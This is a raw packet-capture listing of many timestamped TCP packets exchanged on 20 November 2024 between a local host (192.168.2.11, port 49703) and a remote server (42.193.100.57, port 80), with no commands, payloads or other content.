        Nov 20, 2024 09:15:00.006911039 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006925106 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006938934 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006942034 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006953001 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006961107 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006968975 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006983042 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.006985903 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.006999016 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.007009983 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.007014036 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.007030964 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.007038116 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.007045031 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.007061005 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.007066965 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.007076025 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.007076025 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.007105112 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.007112026 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.007119894 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.007134914 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.007153988 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.279381037 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.279393911 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.279464960 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.279510021 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.279649973 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.279659986 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.279684067 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.279695034 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.279705048 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.279706955 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.279717922 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.279719114 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.279731035 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.279746056 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.279773951 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.280109882 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280124903 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280138016 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280145884 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280165911 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.280229092 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.280296087 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280308008 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280364037 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.280389071 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.280430079 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280441999 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280447960 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280453920 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280459881 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280471087 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280503035 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.280533075 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.280929089 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280946970 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.280971050 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.280996084 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281074047 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281085968 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281101942 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281115055 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281143904 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281224012 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281236887 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281246901 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281259060 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281269073 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281279087 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281331062 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281331062 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281582117 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281594992 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281624079 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281651020 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281667948 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281680107 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281689882 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281701088 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281711102 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281713963 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281722069 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281733036 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281739950 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281744957 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281755924 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281760931 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281769991 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.281780958 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281799078 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.281824112 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.282393932 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282407999 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282421112 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282447100 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.282471895 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.282483101 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282495975 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282506943 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282517910 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282522917 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.282560110 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.282695055 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282707930 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282717943 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282757044 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.282788038 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.282912970 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282927036 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.282958984 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.282974005 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.283380985 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283392906 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283404112 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283442020 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.283550024 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283560991 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283571959 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283581972 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283593893 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283603907 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283612013 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.283633947 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.283643007 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.283709049 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283721924 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283734083 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.283771992 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.284277916 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.284290075 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.287849903 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.574821949 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.574888945 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.574901104 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.574906111 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.574933052 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.574940920 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.574975967 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.574990988 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.575021029 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.575036049 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.575567007 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.575629950 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.575761080 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.575773954 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.575814962 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576067924 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576081991 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576092958 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576103926 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576109886 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576117039 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576127052 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576129913 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576138973 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576149940 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576162100 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576180935 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576201916 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576226950 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576270103 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576400995 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576415062 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576442957 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576457024 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576585054 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576598883 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576622009 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576636076 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.576953888 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576965094 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576980114 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.576991081 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577003002 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577008963 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577028990 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577054024 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577105045 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577127934 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577138901 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577143908 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577151060 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577152014 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577163935 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577172995 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577173948 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577186108 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577188015 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577198029 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577199936 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577225924 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577225924 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577243090 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577251911 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577259064 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577270031 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577280998 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577281952 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577291965 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577305079 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577308893 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577315092 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577317953 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577327013 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577338934 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577347994 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577351093 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577363014 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577373028 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577377081 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577390909 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577404976 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577410936 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577430010 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577440977 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577445984 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577452898 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577464104 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577466011 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577476025 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577486038 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577490091 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577502966 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577512980 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577513933 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577527046 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577533960 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577538967 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577549934 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577554941 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577562094 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577573061 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577583075 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577584028 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577595949 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577598095 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577606916 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577620029 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577625990 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577632904 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577644110 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577655077 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577655077 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577666044 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577675104 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577687979 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.577697992 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.577723980 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.579845905 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.579858065 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.579873085 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.579879999 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.579894066 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.579904079 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.579922915 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.579946995 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.579958916 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.579963923 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.579972029 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.579988003 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.579998970 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580010891 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580018044 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580022097 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580029964 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580039978 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580043077 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580063105 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580069065 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580094099 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580108881 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580364943 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580379009 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580393076 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580410004 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580410957 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580420017 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580427885 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580440998 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580444098 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.580450058 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580470085 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.580492020 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.875475883 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875488043 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875499964 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875511885 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875524044 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875534058 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.875564098 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.875593901 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875602961 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.875628948 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.875790119 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875802040 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875814915 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875823021 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875825882 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.875835896 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875847101 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.875884056 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.875947952 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875962973 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.875984907 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876010895 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876172066 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876188993 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876199961 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876209021 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876219988 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876224041 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876231909 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876231909 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876245975 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876269102 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876281023 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876305103 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876317024 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876327038 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876338005 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876344919 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876349926 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876354933 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876385927 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876487970 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876502037 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876513004 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876524925 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876530886 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876537085 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876549006 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876554012 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876580954 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876605034 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876637936 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876652002 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876681089 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876705885 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876812935 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876823902 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876836061 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876847029 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876854897 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876883984 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876895905 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876908064 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876915932 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876919031 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876931906 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876940012 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876949072 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876960039 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.876960993 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876972914 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876985073 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.876986027 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877008915 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877027988 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877228975 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877240896 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877262115 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877280951 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877547979 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877557993 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877569914 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877580881 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877585888 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877595901 CET804970342.193.100.57192.168.2.11
